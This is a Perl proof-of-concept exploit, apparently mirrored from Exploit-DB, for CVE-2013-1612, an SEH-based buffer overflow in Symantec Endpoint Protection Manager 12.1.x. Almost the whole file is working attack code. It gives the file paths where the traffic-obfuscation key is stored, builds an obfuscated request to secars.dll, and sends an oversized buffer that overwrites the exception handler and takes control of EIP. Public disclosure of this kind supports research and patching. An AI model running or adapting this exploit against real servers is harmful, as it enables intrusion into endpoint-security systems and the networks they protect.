## Exploit-DB mirror: http://www.exploit-db.com/sploits/33056-sepm-secars-poc-v0.3.tar.gz
#!/usr/bin/perl -w
# Exploit Title: Symantec Endpoint Protection Manager 12.1.x - SEH Overflow POC
# Date: 31 January 2013
# Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
# Vendor Homepage: http://http://www.symantec.com/en/uk/endpoint-protection
# Version: 12.1.0 -> 12.1.2
# Tested on: Windows 2003 Enterprise Edition SP2
# CVE : CVE-2013-1612
# More info on: http://funoverip.net/?p=1693
#
#=====================================================================================
#
# This POC code overwrite EIP with "CCCCCCCC"
#
# About KCS Key: That key is used to obfuscate traffic between client and server.
# The key is generated during SEPM installation.
# We need that key to talk with the SEPM server..
#
# Where to find KCS Key ?
# On a managed client station. Search for "Kcs" inside:
#
# - Win7/Vista/W2k8/and more :
# C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\CurrentVersion\\Data\\Config\\SyLink.xml
# - Windows XP :
# C:\\Document & Settings\\All Users\\Application Data\\Symantec\\Symantec Endpoint Protection\\
# CurrentVersion\\Data\\Config\\SyLink.xml
#
# On server side, check the logs:
# C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\data\\inbox\\log\\ersecreg.log
#=====================================================================================
use warnings;
use strict;
use IO::Socket::INET;
use SEPM::SEPM;
# SEP Manager host/ip
my $host = "192.168.60.186";
my $port = 8014;
# Kcs key
my $Kcs_hex = "85FB05B288B45D92447A3EDCBEFC434E";
# ---- config end -----
# flush after every write
$| = 1;
# Send HTTP request function
sub send_request {
my $param = shift; # URL parameters
my $post_data = shift; # POST DATA
my $sock = IO::Socket::INET->new("$host:$port");
if($sock){
print "Connected.. \n";
# HTTP request
my $req =
"POST /secars/secars.dll?h=$param HTTP/1.0\r\n" .
"User-Agent: Smc\r\n" .
"Host: $host\r\n" .
"Content-Length: " . length($post_data) . "\r\n" .
"\r\n" .
$post_data ;
# Sending
print $sock $req;
# Read HTTP response
my $resp = '';
while(<$sock>){ $resp .=$_; }
#print $resp;
if($resp =~ /400 Bad Request/) {
print "\nERROR: Got '400 Bad Request' from the server. Wrong Kcs key ? Wrong SEP version ?\n";
}
close $sock;
}
}
# SEP object
my $sep = SEPM::SEPM->new();
print "[*] Target: $host:$port\n";
print "[*] KCS Key: $Kcs_hex\n";
# SEPM object for obfuscation
print "[*] Generating master encryption key\n";
$sep->genkey($Kcs_hex);
# Obfuscate URL parameters
print "[*] Encrypting URI\n";
my $h = $sep->obfuscate("l=9&action=26");
# The evil buff
print "[*] Building evil buffer\n";
my $buf =
"foo=[hex]" . # [hex] call the vulnerable parsing function
"F" x 1288 . # Junk
"B" x 8 . # Pointer to next SEH record
"CCCCCCCC". # SEH Handler, will overwrite EIP register
"D" x 500; # Trigger "Memory Access Violation" exception
# Sending request
print "[*] Sending HTTP request\n";
send_request($h, # URL parameters
$buf # post data
);
print "[*] Done\n";
